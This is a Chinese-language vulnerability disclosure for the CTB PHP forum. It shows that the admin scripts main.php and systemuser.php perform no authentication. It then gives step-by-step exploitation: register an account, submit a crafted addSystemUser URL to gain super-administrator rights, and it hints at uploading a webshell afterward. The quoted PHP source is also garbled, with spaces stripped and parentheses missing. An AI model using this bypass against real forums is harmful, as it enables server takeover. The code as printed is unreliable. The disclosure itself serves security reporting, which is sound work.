>>>DedicatedThisScrapToCaoJing<<<
涉及版本:
^^^^^^^
目前所有版本(现在1.3Alpha为最高版本)
描述:
^^^^^^
CTB是一款由实易数码<11cn.org>;开发和维护的源代码开放的PHP论坛。由于其后台管理文件验证存在缺陷,可能导致非法用户直接添加论坛超级管理员,进而威胁论坛或服务器安全。
具体:
^^^^
CTB书写非常规范,代码井然有序,赏心悦目,的确是优美的程序;特别是其功能模块,着实让小弟学习了一把。但安全方面却令人堪忧:
试看如下代码:
/admin/main.php
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
//获取get变量
if(is_array($_GET)){
foreach($_GETas$k=>$v){
if(is_array($_GET[$k])){
foreach($_GET[$k]as$k2=>$v2){
$return[$k][$k2]=$v2;
}
}else{
$return[$k]=$v;
}
}
}
...
$mod=isset($_GET['mod'])?$_GET['mod']:$_POST['mod'];
if(!file_exists($mod.".php"{
$mod="mainright";
}
require_once($mod.".php";
//-----------------------------------------------------------------------------
//初始化类变量
$ctb=newModule;
$ctb->set=$set;
$ctb->tplPath="./templates";
$ctb->input=$return;
$ctb->sess=isset($_COOKIE["sess_adminname"])?$_COOKIE:$_SESSION;
$ctb->execute();
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
这里没有任何验证,我们看看添加管理员的文件:
/admin/systemuser.php
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
classModuleextendsCommonClass
//系统管理模块子类
{
functionexecute(){
switch($this->input['action']){
...
case'addSystemUser':
$this->addSystemUser();
break;
...
}
}
functionaddSystemUser()
{
//输入数据简单格式化
$this->inputCheck("main.php?mod=systemuser&action=showSystemUser";
//执行添加操作
$this->file="../".$this->set[dataPath]."/users/list.php";
$systemLine=$this->select(4,$this->input['systemUserName']);
....
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
依然没有验证,一路顺利啊!
利用方法:
^^^^^^^
先注册一个用户:
登陆ID:cat
用户名:dog
密码:ilikecat
重复密码:ilikecat
信箱:cat@dog.com
接着提交如下URL:
http://www.target.com/ctb/admin/main.php?mod=systemuser&systemUserName=dog&systemUserMode=1&action=addSystemUser
哈哈,你现在已经是超级管理员了,不相信?提交如下URL后台登陆:
http://www.psych.com/ctb/admin/main.php?mod=login
管理名称:cat
管理密码:ilikecat
咦...还真成功了!
你现在是不是想更改后台上传文件类型,然后uploadwebshell?哼,被我猜到了吧...
后记:另外发现CTB代码注释有些扎眼的错别字,大煞风景,希望可以一起修正。